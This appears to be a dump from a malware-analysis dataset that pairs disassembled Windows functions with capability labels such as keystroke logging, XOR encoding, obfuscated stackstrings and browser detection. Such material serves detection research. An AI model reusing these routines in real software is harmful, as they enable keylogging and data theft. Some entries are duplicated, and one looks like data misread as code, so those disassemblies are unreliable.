joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44b8d0
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xb0
mov al, byte [0x65e049]
mov cl, byte [0x65e048]
xor cl, al
push esi
mov byte [0x65e048], cl
mov cl, byte [0x65e043]
or cl, 8
mov esi, dword [esp + 0xb8]
shr cl, 3
and ecx, 0xff
push 0x11
mov dword [esp + 8], ecx
fild dword [esp + 8]
fdivr qword [0x661970]
fadd qword [0x65e050]
fstp qword [0x661960]
mov dword [esi], 0
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x44b936
or dword [esi], 0x4000000
mov al, byte [0x65e046]
mov cl, byte [0x65e045]
xor al, cl
mov byte [0x65e046], al
or al, 0x30
shr al, 4
and eax, 0xff
mov dword [esp + 4], eax
fild dword [esp + 4]
fdivr qword [0x6619d0]
fstp qword [0x661960]
fld qword [0x65e050]
fadd qword [0x661970]
fstp qword [0x661970]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call fcn.0044b810
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 5
call dword [sym.imp.USER32.dll_GetSysColor]
mov eax, esi
pop esi
add esp, 0xb0
ret

Function at 0x5d4227
Capabilities:
Encode data using xor

Disassembly:
cmp ebp, 0xd4de0d78
rol esi, cl
add eax, 0xe1ae76f1
out 0xb8, eax
neg byte [esi]
dec ecx
xor byte [edx + 0x71], ah
test eax, 0x34f6c5f9
in al, 0x2e
push ecx
xor al, 0xe4
push ecx
xchg edi, eax
mov eax, dword [0x42cba1a2]
call 0x45741efd
cmp byte [edi + 0x66], 0x24
inc esi
push ss
xchg edx, eax
mov word [edx - 0x21], es
mov esp, 0x54a461c9
jge 0x5d4240
dec ebp
cmpsb byte [esi], byte es:[edi]
inc ebp
int3

Function at 0x657e8d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x65e3a8
cmp edx, dword [eax]
je 0x657eaf
add eax, 8
inc ecx
cmp eax, 0x65e438
jl 0x657ea0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x65e3a8]
jne 0x657fdd
mov eax, dword [0xa5ae04]
cmp eax, 1
je 0x657fb7
test eax, eax
jne 0x657ee0
cmp dword [0x65e2d4], 1
je 0x657fb7
cmp edx, 0xfc
je 0x657fdd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x657f17
lea eax, [ebp - 0x1a4]
push 0x65d500
push eax
call fcn.00658870
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00658d00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x657f5a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00658d00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65d4fc
push edi
call fcn.0065abd0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65d4e0
push eax
call fcn.00658870
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00658880
lea eax, [ebp - 0xa0]
push 0x65d4dc
push eax
call fcn.00658880
push dword [esi + 0x65e3ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.00658880
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65d4b4
push eax
call fcn.0065ab44
add esp, 0x2c
pop edi
jmp 0x657fdd
lea eax, [ebp + 8]
lea esi, [esi + 0x65e3ac]
push 0
push eax
push dword [esi]
call fcn.00658d00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40125d
Capabilities:
Get number of processors

Disassembly:
jmp 0x40ad80
push 0xffffffffffffffff
push 0x493f98
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x4c9dac]
xor eax, esp
mov dword [esp + 0x4c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4c9dac]
xor eax, esp
push eax
lea eax, [esp + 0x64]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x74]
push 8
xor ebx, ebx
push str.tnCcNAH4
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.00401217
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov al, 0x6c
push ebx
mov byte [esp + 0x56], al
mov byte [esp + 0x58], al
mov byte [esp + 0x59], al
mov byte [esp + 0x45], al
mov byte [esp + 0x4a], al
mov byte [esp + 0x4b], al
mov cl, 0x75
push ebx
lea eax, [esp + 0x44]
push eax
mov dword [esp + 0x78], ebx
mov byte [esp + 0x58], 0x56
mov byte [esp + 0x59], 0x69
mov byte [esp + 0x5a], 0x72
mov byte [esp + 0x5b], 0x74
mov byte [esp + 0x5c], cl
mov byte [esp + 0x5d], 0x61
mov byte [esp + 0x5f], 0x41
mov byte [esp + 0x62], 0x6f
mov byte [esp + 0x63], 0x63
mov byte [esp + 0x64], 0x45
mov byte [esp + 0x65], 0x78
mov byte [esp + 0x66], 0x4e
mov byte [esp + 0x67], cl
mov byte [esp + 0x68], 0x6d
mov byte [esp + 0x69], 0x61
mov byte [esp + 0x6a], bl
mov byte [esp + 0x48], 0x6b
mov byte [esp + 0x49], 0x65
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], 0x65
mov byte [esp + 0x4e], 0x33
mov byte [esp + 0x4f], 0x32
mov byte [esp + 0x50], 0x2e
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x54], bl
call esi
lea ecx, [esp + 0x4c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
lea edx, [esp + 0x38]
push edx
mov edi, eax
mov byte [esp + 0x3c], 0x74
mov byte [esp + 0x3d], 0x61
mov byte [esp + 0x3e], 0x73
mov byte [esp + 0x3f], 0x6b
mov byte [esp + 0x40], 0x6d
mov byte [esp + 0x41], 0x67
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x2e
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x78
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x47], bl
call esi
test eax, eax
jne 0x40aef6
cmp dword [esp + 0x2c], 0x10
jb 0x40aeef
mov eax, dword [esp + 0x18]
push eax
call fcn.0040eac0
add esp, 4
xor al, al
jmp 0x40af84
push ebx
push 0x49e948
call fcn.0044c841
add esp, 4
push eax
push str.8192
call fcn.0044c841
add esp, 4
or eax, 0x1000
push eax
push 0x8544
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
mov esi, eax
cmp esi, ebx
jne 0x40af45
cmp dword [esp + 0x2c], 0x10
jb 0x40aeef
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040eac0
add esp, 4
xor al, al
jmp 0x40af84
push 0x8544
push 0x4be0c8
push esi
call fcn.0044c880
mov edx, dword [esp + 0x84]
push 0x8544
push esi
push edx
push ebp
call fcn.004014f1
add esp, 0x1c
call esi
cmp dword [esp + 0x2c], 0x10
jb 0x40af82
mov eax, dword [esp + 0x18]
push eax
call fcn.0040eac0
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.0044bcf1
add esp, 0x5c
ret
Function at 0x40ad80
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
jmp 0x40ad80
push 0xffffffffffffffff
push 0x493f98
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x4c9dac]
xor eax, esp
mov dword [esp + 0x4c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4c9dac]
xor eax, esp
push eax
lea eax, [esp + 0x64]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x74]
push 8
xor ebx, ebx
push str.tnCcNAH4
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.00401217
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov al, 0x6c
push ebx
mov byte [esp + 0x56], al
mov byte [esp + 0x58], al
mov byte [esp + 0x59], al
mov byte [esp + 0x45], al
mov byte [esp + 0x4a], al
mov byte [esp + 0x4b], al
mov cl, 0x75
push ebx
lea eax, [esp + 0x44]
push eax
mov dword [esp + 0x78], ebx
mov byte [esp + 0x58], 0x56
mov byte [esp + 0x59], 0x69
mov byte [esp + 0x5a], 0x72
mov byte [esp + 0x5b], 0x74
mov byte [esp + 0x5c], cl
mov byte [esp + 0x5d], 0x61
mov byte [esp + 0x5f], 0x41
mov byte [esp + 0x62], 0x6f
mov byte [esp + 0x63], 0x63
mov byte [esp + 0x64], 0x45
mov byte [esp + 0x65], 0x78
mov byte [esp + 0x66], 0x4e
mov byte [esp + 0x67], cl
mov byte [esp + 0x68], 0x6d
mov byte [esp + 0x69], 0x61
mov byte [esp + 0x6a], bl
mov byte [esp + 0x48], 0x6b
mov byte [esp + 0x49], 0x65
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], 0x65
mov byte [esp + 0x4e], 0x33
mov byte [esp + 0x4f], 0x32
mov byte [esp + 0x50], 0x2e
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x54], bl
call esi
lea ecx, [esp + 0x4c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
lea edx, [esp + 0x38]
push edx
mov edi, eax
mov byte [esp + 0x3c], 0x74
mov byte [esp + 0x3d], 0x61
mov byte [esp + 0x3e], 0x73
mov byte [esp + 0x3f], 0x6b
mov byte [esp + 0x40], 0x6d
mov byte [esp + 0x41], 0x67
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x2e
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x78
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x47], bl
call esi
test eax, eax
jne 0x40aef6
cmp dword [esp + 0x2c], 0x10
jb 0x40aeef
mov eax, dword [esp + 0x18]
push eax
call fcn.0040eac0
add esp, 4
xor al, al
jmp 0x40af84
push ebx
push 0x49e948
call fcn.0044c841
add esp, 4
push eax
push str.8192
call fcn.0044c841
add esp, 4
or eax, 0x1000
push eax
push 0x8544
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
mov esi, eax
cmp esi, ebx
jne 0x40af45
cmp dword [esp + 0x2c], 0x10
jb 0x40aeef
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040eac0
add esp, 4
xor al, al
jmp 0x40af84
push 0x8544
push 0x4be0c8
push esi
call fcn.0044c880
mov edx, dword [esp + 0x84]
push 0x8544
push esi
push edx
push ebp
call fcn.004014f1
add esp, 0x1c
call esi
cmp dword [esp + 0x2c], 0x10
jb 0x40af82
mov eax, dword [esp + 0x18]
push eax
call fcn.0040eac0
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.0044bcf1
add esp, 0x5c
ret
Function at 0x44bcf1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c9dac]
jne 0x44bcfb
repz ret
jmp fcn.00454fdc

Function at 0x46c6f0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00454a0a
xor ebx, ebx
cmp dword [0x4ceb40], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x46c7c5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x46c730
xor eax, eax
jmp 0x46c889
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x46c729
push eax
call fcn.004549a7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4ceb40], eax
call esi
push eax
call fcn.004549a7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4ceb44], eax
call esi
push eax
call fcn.004549a7
mov dword [0x4ceb48], eax
lea eax, [ebp - 8]
push eax
call fcn.0044dc88
test eax, eax
pop ecx
pop ecx
je 0x46c793
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00455e39
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x46c7c5
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004549a7
cmp eax, ebx
pop ecx
mov dword [0x4ceb50], eax
je 0x46c7c5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004549a7
pop ecx
mov dword [0x4ceb4c], eax
mov eax, dword [0x4ceb4c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x46c83e
cmp dword [0x4ceb50], esi
je 0x46c83e
push eax
call fcn.00454a13
pop ecx
call eax
cmp eax, ebx
je 0x46c80b
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4ceb50]
call fcn.00454a13
pop ecx
call eax
test eax, eax
je 0x46c80b
test byte [ebp - 0x18], 1
jne 0x46c83e
lea eax, [ebp - 0xc]
push eax
call fcn.0044dd37
test eax, eax
pop ecx
je 0x46c826
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00455e39
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x46c835
or dword [ebp + 0x10], 0x200000
jmp 0x46c86f
or dword [ebp + 0x10], 0x40000
jmp 0x46c86f
mov eax, dword [0x4ceb44]
cmp eax, esi
je 0x46c86f
push eax
call fcn.00454a13
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x46c86f
mov eax, dword [0x4ceb48]
cmp eax, esi
je 0x46c86f
push dword [ebp - 4]
push eax
call fcn.00454a13
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4ceb40]
call fcn.00454a13
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x477926
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4c9dac]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0047779e
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0044ce10
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x477975
cmp dword [ebp - 0x1c], 5
jb 0x47798d
jmp 0x477989
cmp dword [ebp - 0x10], 1
jne 0x47798d
cmp dword [ebp - 0x1c], 4
ja 0x477989
jne 0x47798d
cmp dword [ebp - 0x18], 0
jbe 0x47798d
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4ac564
call fcn.0047755b
test eax, eax
jge 0x4779ae
mov byte [0x4cc218], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0044bcf1
add ebp, 0x78
leave
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0xc1541bd
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x3bb777b9
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x405c80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418c0b
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x425140]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x21c], esi
lea eax, [ebp - 0x218]
mov dword [ebp - 0x21c], esi
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x405de3
mov byte [ebp - 0x21c], al
lea ecx, [ebp - 0x25c]
push dword [ebp - 0x21c]
call fcn.004086a0
mov byte [ebp - 0x21c], 0
lea edx, [ebp - 0x218]
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x234]
mov dword [ebp - 4], 0
call fcn.004085d0
lea eax, [ebp - 0x25c]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x234]
mov ecx, esi
call fcn.00402100
mov ecx, dword [ebp - 0x220]
add esp, 0xc
cmp ecx, 7
jbe 0x405d6e
mov edx, dword [ebp - 0x234]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405d64
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405e04
push ecx
push edx
call fcn.0040bdd6
add esp, 8
mov ecx, dword [ebp - 0x248]
xor eax, eax
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 7
mov word [ebp - 0x234], ax
cmp ecx, 7
jbe 0x405dc7
mov edx, dword [ebp - 0x25c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405dbd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405e04
push ecx
push edx
call fcn.0040bdd6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b978
mov esp, ebp
pop ebp
ret
push str.Failed_to_get_AppData_path.
lea ecx, [ebp - 0x244]
call fcn.00401370
push 0x423574
lea eax, [ebp - 0x244]
push eax
call fcn.0040d144
call fcn.0040f1ef
int3
Function at 0x40acf1
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x40ad18
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x40ad1b
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0040accd
pop esi
leave
ret 8

Function at 0x40c850
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40c88f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40c88f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40c88f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40c88f
cmp dword [ecx + 0x74], 0xe
jbe 0x40c88f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4115cd
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c878
push 0x41c870
push str.FlsAlloc
push 0x1f
call fcn.004114e9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411601
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a1d8]
call esi
jmp 0x411607
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41164b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c888
push 0x41c880
push str.FlsGetValue
push 0x21
call fcn.004114e9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411682
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a1d8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41168a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c890
push 0x41c888
push str.FlsSetValue
push 0x22
call fcn.004114e9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4116c4
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41a1d8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4135e7
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x413684
push ebx
push esi
call fcn.004135b0
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00413544
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x413631
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413683
push edi
push eax
call fcn.00411325
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x413651
call fcn.004112eb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413682
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00413544
add esp, 0x20
test eax, eax
jne 0x413670
push edi
call fcn.004112eb
jmp 0x413678
push ebx
call fcn.004112eb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x418150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41817d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41817d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401ee0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ca03
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x439080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], 0
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp + 8]
call fcn.0040abb0
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x401f2f
jmp 0x40209c
lea ecx, [ebp - 0x2d]
call fcn.00405790
push eax
mov ecx, dword [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x48]
call fcn.004064f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.0040a7f0
push eax
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp + 8]
call fcn.0040abb0
push eax
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
jne 0x401f83
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.004073a0
nop
jmp 0x40209c
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x2c]
push edx
push 0x42e41c
lea ecx, [ebp - 0x48]
call fcn.0040a7f0
push eax
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x401fc5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.004073a0
nop
jmp 0x40209c
cmp dword [ebp - 0x2c], 0
je 0x40208c
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 8]
shr ecx, 0x10
and ecx, 0xffff
movzx edx, cx
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 8]
and ecx, 0xffff
movzx edx, cx
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0xc]
shr ecx, 0x10
and ecx, 0xffff
movzx edx, cx
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0xc]
and ecx, 0xffff
movzx edx, cx
mov dword [ebp - 0x58], edx
lea ecx, [ebp - 0x28]
call fcn.00406150
mov byte [ebp - 4], 1
push 0
push 0x42e420
mov ecx, dword [ebp + 8]
call fcn.0040bec0
cmp eax, 0xffffffff
je 0x40204d
push str.Brave
lea ecx, [ebp - 0x28]
call fcn.004077b0
nop
jmp 0x40207f
push 0
push 0x42e430
mov ecx, dword [ebp + 8]
call fcn.0040bec0
cmp eax, 0xffffffff
je 0x402071
push str.Edge
lea ecx, [ebp - 0x28]
call fcn.004077b0
nop
jmp 0x40207f
push str.Chrome
lea ecx, [ebp - 0x28]
call fcn.004077b0
nop
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00407280
nop
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.004073a0
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040fa15
mov esp, ebp
pop ebp
ret